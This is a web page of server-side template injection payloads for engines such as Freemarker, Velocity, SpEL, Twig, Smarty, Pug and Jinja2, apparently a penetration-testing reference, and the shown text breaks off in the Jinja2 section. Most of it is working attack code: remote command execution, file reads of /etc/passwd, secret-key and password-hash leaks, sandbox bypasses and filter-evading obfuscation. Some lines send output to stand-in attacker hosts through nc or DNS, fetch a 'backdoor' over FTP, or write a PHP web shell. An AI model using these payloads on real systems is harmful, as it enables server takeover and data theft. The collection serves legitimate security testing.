HexBrain

Browse / Payloads / Server Side Template Injection

Server Side Template Injection

118 passages of payloads and techniques. See also the 831 disclosed Code Execution reports.

ASP

Server-Side Template Injection (SSTI) is a class of vulnerabilities where an attacker can inject malicious input into a server-side template, causing the template engine to execute arbitrary code on the server. In the context of ASP.NET, SSTI can occur if user input is directly embedded into a template (such as Razor, ASPX, or other templating engines) without proper sanitization.

Source

ASP.NET Razor

Official website

Razor is a markup syntax that lets you embed server-based code (Visual Basic and C#) into web pages.

Source

Elixir

Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In Elixir, SSTI can occur when using templating engines like EEx (Embedded Elixir), especially when user input is incorporated into templates without proper sanitization or validation.

Source

Templating Libraries
Template NamePayload Format
EEx<%= %>
LEEx<%= %>
HEEx<%= %>

Source

Universal Payloads

Generic code injection payloads work for many Elixir-based template engines, such as EEx, LEEx and HEEx.

By default, only EEx can render templates from string, but it is possible to use LEEx and HEEx as replacement engines for EEx.

To use these payloads, wrap them in the appropriate tag.

elem(System.shell("id"), 0) # Rendered RCE
[1, 2][elem(System.shell("id"), 0)] # Error-Based RCE
1/((elem(System.shell("id"), 1) == 0)&&1||0) # Boolean-Based RCE
elem(System.shell("id && sleep 5"), 0) # Time-Based RCE

Source

EEx

Official website

EEx stands for Embedded Elixir.

Source

EEx > EEx - Retrieve /etc/passwd
<%= File.read!("/etc/passwd") %>

Source

EEx > EEx - Remote Command execution
<%= elem(System.shell("id"), 0) %> # Rendered RCE
<%= [1, 2][elem(System.shell("id"), 0)] %> # Error-Based RCE
<%= 1/((elem(System.shell("id"), 1) == 0)&&1||0) %> # Boolean-Based RCE
<%= elem(System.shell("id && sleep 5"), 0) %> # Time-Based RCE

Source

Java

Server-Side Template Injection (SSTI) is a security vulnerability that occurs when user input is embedded into server-side templates in an unsafe manner, allowing attackers to inject and execute arbitrary code. In Java, SSTI can be particularly dangerous due to the power and flexibility of Java-based templating engines such as JSP (JavaServer Pages), Thymeleaf, and FreeMarker.

Source

Templating Libraries
Template NamePayload Format
Codepen#{ }
Freemarker${ }, #{ }, [= ]
Groovy${ }
Jinjava{{ }}
Pebble{{ }}
SpEL*{ }, #{ }, ${ }
Thymeleaf[[ ]]
Velocity#set($X="") $X

Source

Java EL > Java EL - Basic Injection

Java has multiple Expression Languages using similar syntax.

Multiple variable expressions can be used, if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Source

Java EL > Java EL - Code Execution
${''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes())} // Rendered RCE
${''.getClass().forName('java.lang.Integer').valueOf('x'+''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes()))} // Error-Based RCE
${1/((''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor()==0)?1:0)+''} // Boolean-Based RCE
${(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor().equals(0)?(''.getClass().forName('java.lang.Thread')).sleep(5000):0).toString()} // Time-Based RCE


Source

Freemarker

Official website

Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data.

You can try your payloads at https://try.freemarker.apache.org

Source

Freemarker > Freemarker - Basic Injection

The template can be :

Source

Freemarker > Freemarker - Read File
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}
Convert the returned bytes to ASCII

Source

Freemarker > Freemarker - Code Execution
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
#{"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")]

${("xx"+("freemarker.template.utility.Execute"?new()("id")))?new()} // Error-Based RCE
${1/((freemarker.template.utility.Execute"?new()(" … && echo UniqueString")?chop_linebreak?ends_with("UniqueString"))?string('1','0')?eval)} // Boolean-Based RCE
${"freemarker.template.utility.Execute"?new()("id && sleep 5")} // Time-Based RCE

Source

Freemarker > Freemarker - Code Execution with Obfuscation

FreeMarker offers the built-in function: lower_abc. This function converts int-based values into alphabetic strings, but not in the way you might expect from functions such as chr in Python, as the documentation for lower_abc explains:

If you wanted a string that represents the string: "id", you could use the payload: ${9?lower_abc+4?lower_abc)}.

Chaining lower_abc to perform code execution (command: id):

${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}

Reference and explanation of payload can be found yeswehack/server-side-template-injection-exploitation.

Source

Freemarker > Freemarker - Sandbox Bypass

:warning: only works on Freemarker versions below 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Source

Jinjava

Official website

Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content).

Source

Jinjava > Jinjava - Basic Injection
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava is an open source project developed by Hubspot, available at https://github.com/HubSpot/jinjava/

Source

Jinjava > Jinjava - Command Execution

Fixed by HubSpot/jinjava PR #230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Source

Pebble

Official website

Pebble is a Java templating engine inspired by Twig and similar to the Python Jinja Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization.

Source

Pebble > Pebble - Basic Injection
{{ someString.toUPPERCASE() }}

Source

Pebble > Pebble - Code Execution

Old version of Pebble ( < version 3.0.9): {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}.

New version of Pebble :

{% set cmd = 'id' %}
{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd)
     .inputStream
     .readAllBytes() %}
{{ (1).TYPE
     .forName('java.lang.String')
     .constructors[0]
     .newInstance(([bytes]).toArray()) }}

Source

Velocity

Official website

Apache Velocity is a Java-based template engine that allows web designers to embed Java code references directly within templates.

In a vulnerable environment, Velocity's expression language can be abused to achieve remote code execution (RCE). For example, this payload executes the whoami command and prints the result:

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

A more flexible and stealthy payload that supports base64-encoded commands, allowing execution of arbitrary shell commands such as echo "a" > /tmp/a. Below is an example with whoami in base64:

#set($base64EncodedCommand = 'd2hvYW1p')

#set($contextObjectClass = $knownContextObject.getClass())

#set($Base64Class = $contextObjectClass.forName("java.util.Base64"))
#set($Base64Decoder = $Base64Class.getMethod("getDecoder").invoke(null))
#set($decodedBytes = $Base64Decoder.decode($base64EncodedCommand))

#set($StringClass = $contextObjectClass.forName("java.lang.String"))
#set($command = $StringClass.getConstructor($contextObjectClass.forName("[B"), $contextObjectClass.forName("java.lang.String")).newInstance($decodedBytes, "UTF-8"))

#set($commandArgs = ["/bin/sh", "-c", $command])

#set($ProcessBuilderClass = $contextObjectClass.forName("java.lang.ProcessBuilder"))
#set($processBuilder = $ProcessBuilderClass.getConstructor($contextObjectClass.forName("java.util.List")).newInstance($commandArgs))
#set($processBuilder = $processBuilder.redirectErrorStream(true))
#set($process = $processBuilder.start())
#set($exitCode = $process.waitFor())

#set($inputStream = $process.getInputStream())
#set($ScannerClass = $contextObjectClass.forName("java.util.Scanner"))
#set($scanner = $ScannerClass.getConstructor($contextObjectClass.forName("java.io.InputStream")).newInstance($inputStream))
#set($scannerDelimiter = $scanner.useDelimiter("\\A"))

#if($scanner.hasNext())
  #set($output = $scanner.next().trim())
  $output.replaceAll("\\s+$", "").replaceAll("^\\s+", "")
#end

Error-Based RCE payload:

#set($s="")
#set($sc=$s.getClass().getConstructor($s.getClass().forName("[B"), $s.getClass()))
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id")
#set($n=$p.waitFor())
#set($b="Y:/A:/"+$sc.newInstance($p.inputStream.readAllBytes(), "UTF-8"))
#include($b)

Boolean-Based RCE payload:

#set($s="")
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
#set($n=$p.waitFor())
#set($r=$p.exitValue())
#if($r != 0)
#include("Y:/A:/xxx")
#end

Time-Based RCE payload:

#set($s="")
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
#set($n=$p.waitFor())
#set($r=$p.exitValue())
#if($r != 0)
#set($t=$s.getClass().forName("java.lang.Thread").sleep(5000))
#end

Source

Groovy

Source

Groovy > Groovy - Basic injection

Refer to groovy-lang.org/syntax , but ${9*9} is the basic injection.

Source

Groovy > Groovy - Read File
${String x = new File('c:/windows/notepad.exe').text}
${String x = new File('/path/to/file').getText('UTF-8')}
${new File("C:\Temp\FileName.txt").createNewFile();}

Source

Groovy > Groovy - HTTP Request
${"http://www.google.com".toURL().text}
${new URL("http://www.google.com").getText()}

Source

Groovy > Groovy - Command Execution
${"calc.exe".exec()}
${"calc.exe".execute()}
${this.evaluate("9*9") //(this is a Script class)}
${new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()}

Source

Groovy > Groovy - Command Execution with Obfuscation

You can bypass security filters by constructing strings from ASCII codes and executing them as system commands.

Payload represent the string: id: ${((char)105).toString()+((char)100).toString()}.

Execute system command (command: id):

${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}

Reference and explanation of payload can be found yeswehack/server-side-template-injection-exploitation.

Source

Groovy > Groovy - Sandbox Bypass
${ @ASTTest(value={assert java.lang.Runtime.getRuntime().exec("whoami")})
def x }

or

${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") }

Source

Spring Expression Language

Java EL payloads also work for SpEL

Official website

The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime. The language syntax is similar to Unified EL but offers additional features, most notably method invocation and basic string templating functionality.

Source

Spring Expression Language > SpEL - Basic Injection

SpEL has built-in templating system using #{ }, but SpEL is also commonly used for interpolation using ${ }.

${7*7}
${'patt'.toString().replace('a', 'x')}
${T(java.lang.Integer).valueOf('1')}

Source

Spring Expression Language > SpEL - Retrieve Environment Variables
${T(java.lang.System).getenv()}

Source

Spring Expression Language > SpEL - Retrieve /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

Source

Spring Expression Language > SpEL - DNS Exfiltration

DNS lookup

${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","[ATTACKER.DOMAIN.TLD]")}

Source

Spring Expression Language > SpEL - Session Attributes

Modify session attributes

${pageContext.request.getSession().setAttribute("admin",true)}

Source

Spring Expression Language > SpEL - Command Execution
  • Method using java.lang.Runtime #1 - accessed with JavaClass

    ${T(java.lang.Runtime).getRuntime().exec("whoami")}
    
  • Method using java.lang.Runtime #2

    #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
    #{session.getAttribute("rtc").setAccessible(true)}
    #{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
    
  • Method using java.lang.Runtime #3 - accessed with invoke

    ${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('whoami')}
    
  • Method using java.lang.Runtime #3 - accessed with javax.script.ScriptEngineManager

    ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"whoami\\\")"))}
    
  • Method using java.lang.ProcessBuilder

    ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
    ${request.getAttribute("c").add("cmd.exe")}
    ${request.getAttribute("c").add("/k")}
    ${request.getAttribute("c").add("whoami")}
    ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
    ${request.getAttribute("a")}
    
  • Error-Based payload:

    ${T(java.lang.Integer).valueOf("x"+T(java.lang.String).getConstructor(T(byte[])).newInstance(T(java.lang.Runtime).getRuntime().exec("id").inputStream.readAllBytes()))}
    
  • Boolean-Based payload:

    ${1/((T(java.lang.Runtime).getRuntime().exec("id").waitFor()==0)?1:0)+""}
    
  • Time-Based payload:

    ${(T(java.lang.Runtime).getRuntime().exec("id").waitFor().equals(0)?T(java.lang.Thread).sleep(5000):0).toString()}
    

Source

Object-Graph Navigation Language

Official website

OGNL stands for Object-Graph Navigation Language; it is an expression language for getting and setting properties of Java objects, plus other extras such as list projection and selection and lambda expressions. You use the same expression for both getting and setting the value of a property.

Source

Object-Graph Navigation Language > OGNL - Basic Injection

OGNL can be used with different tags like ${ }

7*7
'patt'.toString().replace('a', 'x')
@java.lang.Integer@valueOf('1')

Source

Object-Graph Navigation Language > OGNL - Command Execution

Rendered:

new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes())

Error-Based:

(new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))/0

Boolean-Based:

1/((@java.lang.Runtime@getRuntime().exec("id").waitFor()==0)?1:0)+""

Time-Based:

((@java.lang.Runtime@getRuntime().exec("id").waitFor().equals(0))[email protected]@sleep(5000):0)

Source

JavaScript

Server-Side Template Injection (SSTI) occurs when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In the context of JavaScript, SSTI vulnerabilities can arise when using server-side templating engines like Handlebars, EJS, or Pug, where user input is integrated into templates without adequate sanitization.

Source

Templating Libraries
Template NamePayload Format
DotJS{{= }}
DustJS{ }
EJS<% %>
HandlebarsJS{{ }}
HoganJS{{ }}
Lodash{{= }}
MustacheJS{{ }}
NunjucksJS{{ }}
PugJS#{ }
TwigJS{{ }}
UnderscoreJS<% %>
VelocityJS#=set($X="")$X
VueJS{{ }}

Source

Universal Payloads

Generic code injection payloads work for many NodeJS-based template engines, such as DotJS, EJS, PugJS, UnderscoreJS and Eta.

To use these payloads, wrap them in the appropriate tag.

// Rendered RCE
global.process.mainModule.require("child_process").execSync("id").toString()

// Error-Based RCE
global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString())
""["x"][global.process.mainModule.require("child_process").execSync("id").toString()]

// Boolean-Based RCE
[""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"]

// Time-Based RCE
global.process.mainModule.require("child_process").execSync("id && sleep 5").toString()

NunjucksJS is also capable of executing these payloads using {{range.constructor(' ... ')()}}.

Source

Handlebars

Official website

Handlebars compiles templates into JavaScript functions.

Source

Handlebars > Handlebars - Command Execution

This payload only work in handlebars versions, fixed in GHSA-q42p-pg8m-cqh6:

  • >= 4.1.0, < 4.1.2
  • >= 4.0.0, < 4.0.14
  • < 3.0.7
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls -la');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Source

Lodash

Official website

A modern JavaScript utility library delivering modularity, performance & extras.

Source

Lodash > Lodash - Basic Injection

How to create a template:

const _ = require('lodash');
string = "{{= username}}"
const options = {
  evaluate: /\{\{(.+?)\}\}/g,
  interpolate: /\{\{=(.+?)\}\}/g,
  escape: /\{\{-(.+?)\}\}/g,
};

_.template(string, options);
  • string: The template string.
  • options.interpolate: It is a regular expression that specifies the HTML interpolate delimiter.
  • options.evaluate: It is a regular expression that specifies the HTML evaluate delimiter.
  • options.escape: It is a regular expression that specifies the HTML escape delimiter.

For the purpose of RCE, the delimiter of templates is determined by the options.evaluate parameter.

{{= _.VERSION}}
${= _.VERSION}
<%= _.VERSION %>


{{= _.templateSettings.evaluate }}
${= _.VERSION}
<%= _.VERSION %>

Source

Lodash > Lodash - Command Execution
{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}

Source

Pug

Universal payloads also work for Pug.

Official website

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Source

PHP

Server-Side Template Injection (SSTI) is a vulnerability that occurs when an attacker can inject malicious input into a server-side template, causing the template engine to execute arbitrary commands on the server. In PHP, SSTI can arise when user input is embedded within templates rendered by templating engines like Smarty, Twig, or even within plain PHP templates, without proper sanitization or validation.

Source

Templating Libraries
Template NamePayload Format
Blade (Laravel){{ }}
Latte{ }
Mustache{{ }}
Plates<?= ?>
Smarty{ }
Twig{{ }}

Source

Universal Payloads

Generic code injection payloads work for many PHP-based template engines, such as Blade, Latte and Smarty.

To use these payloads, wrap them in the appropriate tag.

// Rendered RCE
shell_exec('id')
system('id')

// Error-Based RCE
ini_set("error_reporting", "1") // Enable verbose fatal errors for Error-Based
call_user_func(join("", ["xx", shell_exec('id')]))

// Boolean-Based RCE
1 / (pclose(popen("id", "wb")) == 0)

// Time-Based RCE
shell_exec('id && sleep 5')
system('id && sleep 5')

Source

Blade

Universal payloads also work for Blade.

Official website

Blade is the simple, yet powerful templating engine that is included with Laravel.

The string id is generated with {{implode(null,array_map(chr(99).chr(104).chr(114),[105,100]))}}.

{{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}}

Reference and explanation of payload can be found yeswehack/server-side-template-injection-exploitation.


Source

Smarty

Universal payloads also work for Smarty before v5.

Official website

Smarty is a template engine for PHP.

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3, deprecated in v5
{system('cat index.php')} // compatible v3, deprecated in v5

Source

Smarty > Smarty - Code Execution with Obfuscation

By employing the variable modifier cat, individual characters are concatenated to form the string "id" as follows: {chr(105)|cat:chr(100)}.

Execute system comman (command: id):

{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}

Reference and explanation of payload can be found yeswehack/server-side-template-injection-exploitation.


Source

Twig

Official website

Twig is a modern template engine for PHP.

Source

Twig > Twig - Basic Injection
{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{dump(_context)}}
{{app.request.server.all|join(',')}}

Source

Twig > Twig - Template Format
$output = $twig > render (
  'Dear' . $_GET['custom_greeting'],
  array("first_name" => $user.first_name)
);

$output = $twig > render (
  "Dear {first_name}",
  array("first_name" => $user.first_name)
);

Source

Twig > Twig - Arbitrary File Reading
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{include("wp-config.php")}}

Source

Twig > Twig - Code Execution
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{[0]|reduce('system','id')}}
{{['id']|map('system')|join}}
{{['id',1]|sort('system')|join}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id']|filter('passthru')}}
{{['id']|map('passthru')}}
{{['nslookup oastify.com']|filter('system')}}

{% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %} // Enable verbose error output for Error-Based
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{%include ["Y:/A:/", _self.env.getFilter("id")]|join%} // Error-Based RCE <= 1.19
{{[0]|map(["xx", {"id": "shell_exec"}|map("call_user_func")|join]|join)}} // Error-Based RCE >=1.41, >=2.10, >=3.0

{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("id && echo UniqueString")|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE <= 1.19
{{1/({"id && echo UniqueString":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE >=1.41, >=2.10, >=3.0

{% set a = ["error_reporting", "1"]|sort("ini_set") %}{% set b = ["ob_start", "call_user_func"]|sort("call_user_func") %}{{ ["id", 0]|sort("system") }}{% set a = ["ob_end_flush", []]|sort("call_user_func_array")%} // Error-Based RCE with sandbox bypass using CVE-2022-23614
{{ 1 / (["id >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }} // Boolean-Based RCE with sandbox bypass using CVE-2022-23614

With certain settings, Twig interrupts rendering, if any errors or warnings are raised. This payload works fine in these cases:

{{ {'id':'shell_exec'}|map('call_user_func')|join }}

Example injecting values to avoid using quotes for the filename (specify via OFFSET and LENGTH where the payload FILENAME is)

FILENAME{% set var = dump(_context)[OFFSET:LENGTH] %} {{ include(var) }}

Example with an email passing FILTER_VALIDATE_EMAIL PHP.

POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld

Source

Twig > Twig - Code Execution with Obfuscation

Twig's block feature and built-in _charset variable can be nesting can be used to produced the payload (command: id)

{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}

The following payload, which harnesses the built-in _context variable, also achieves RCE – provided that the template engine performs a double-rendering process:

{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}

Reference and explanation of payload can be found yeswehack/server-side-template-injection-exploitation.


Source

Latte

Universal payloads also work for Latte.

Source

Latte > Latte - Code Execution
{php system('nslookup oastify.com')}

Source

patTemplate

patTemplate non-compiling PHP templating engine, that uses XML tags to divide a document into different parts

<patTemplate:tmpl name="page">
  This is the main page.
  <patTemplate:tmpl name="foo">
    It contains another template.
  </patTemplate:tmpl>
  <patTemplate:tmpl name="hello">
    Hello {NAME}.<br/>
  </patTemplate:tmpl>
</patTemplate:tmpl>

Source

PHPlib and HTML_Template_PHPLIB

HTML_Template_PHPLIB is the same as PHPlib but ported to Pear.

authors.tpl

<html>
 <head><title>{PAGE_TITLE}</title></head>
 <body>
  <table>
   <caption>Authors</caption>
   <thead>
    <tr><th>Name</th><th>Email</th></tr>
   </thead>
   <tfoot>
    <tr><td colspan="2">{NUM_AUTHORS}</td></tr>
   </tfoot>
   <tbody>
<!-- BEGIN authorline -->
    <tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
   </tbody>
  </table>
 </body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
    'Christian Weiske'  => '[email protected]',
    'Bjoern Schotte'     => '[email protected]'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
    $t->setVar('AUTHOR_NAME', $name);
    $t->setVar('AUTHOR_EMAIL', $email);
    $t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Source

Plates

Plates is inspired by Twig but a native PHP template engine instead of a compiled template engine.

controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

page template:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

layout template:

<html>
  <head>
    <title><?=$this->e($title)?></title>
  </head>
  <body>
    <?=$this->section('content')?>
  </body>
</html>

Source

Python

Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious input into a server-side template, causing arbitrary code execution on the server. In Python, SSTI can occur when using templating engines such as Jinja2, Mako, or Django templates, where user input is included in templates without proper sanitization.

Source

Templating Libraries
Template NamePayload Format
Bottle{{ }}
Chameleon${ }
Cheetah${ }
Django{{ }}
Jinja2{{ }}
Mako${ }
Pystache{{ }}
Tornado{{ }}

Source

Universal Payloads

Generic code injection payloads work for many Python-based template engines, such as Bottle, Chameleon, Cheetah, Mako and Tornado.

To use these payloads, wrap them in the appropriate tag.

__include__("os").popen("id").read() # Rendered RCE
getattr("", "x" + __include__("os").popen("id").read()) # Error-Based RCE
1 / (__include__("os").popen("id")._proc.wait() == 0) # Boolean-Based RCE
__include__("os").popen("id && sleep 5").read() # Time-Based RCE

Source

Django

Django template language supports 2 rendering engines by default: Django Templates (DT) and Jinja2. Django Templates is much simpler engine. It does not allow calling of passed object functions and impact of SSTI in DT is often less severe than in Jinja2.

Source

Django > Django - Basic Injection
{% csrf_token %} # Causes error with Jinja2
{{ 7*7 }}  # Error with Django Templates
ih0vr{{364|add:733}}d121r # Burp Payload -> ih0vr1097d121r

Source

Django > Django - Cross-Site Scripting
{{ '<script>alert(3)</script>' }}
{{ '<script>alert(3)</script>' | safe }}

Source

Django > Django - Leaking App's Secret Key
{{ messages.storages.0.signer.key }}

Source

Django > Django - Admin Site URL leak
{% include 'admin/base.html' %}

Source

Django > Django - Admin Username And Password Hash Leak
{% load log %}{% get_admin_log 10 as log %}{% for e in log %}
{{e.user.get_username}} : {{e.user.password}}{% endfor %}

{% get_admin_log 10 as admin_log for_user user %}

Source

Jinja2

Official website

Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.

Source

Jinja2 > Jinja2 - Basic Injection
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
{{config.items()}}

Jinja2 is used by Python Web Frameworks such as Django or Flask. The above injections have been tested on a Flask application.

Source

Jinja2 > Jinja2 - Template Format
{% extends "layout.html" %}
{% block body %}
  <ul>
  {% for user in users %}
    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  {% endfor %}
  </ul>
{% endblock %}

Source

Jinja2 > Jinja2 - Debug Statement

If the Debug Extension is enabled, a {% debug %} tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger.

<pre>{% debug %}</pre>

Source: jinja.palletsprojects.com

Source

Jinja2 > Jinja2 - Dump All Used Classes
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}

Access __globals__ and __builtins__:

{{ self.__init__.__globals__.__builtins__ }}

Source

Jinja2 > Jinja2 - Dump All Config Variables
{% for key, value in config.iteritems() %}
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
{% endfor %}

Source

Jinja2 > Jinja2 - Read Remote File
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
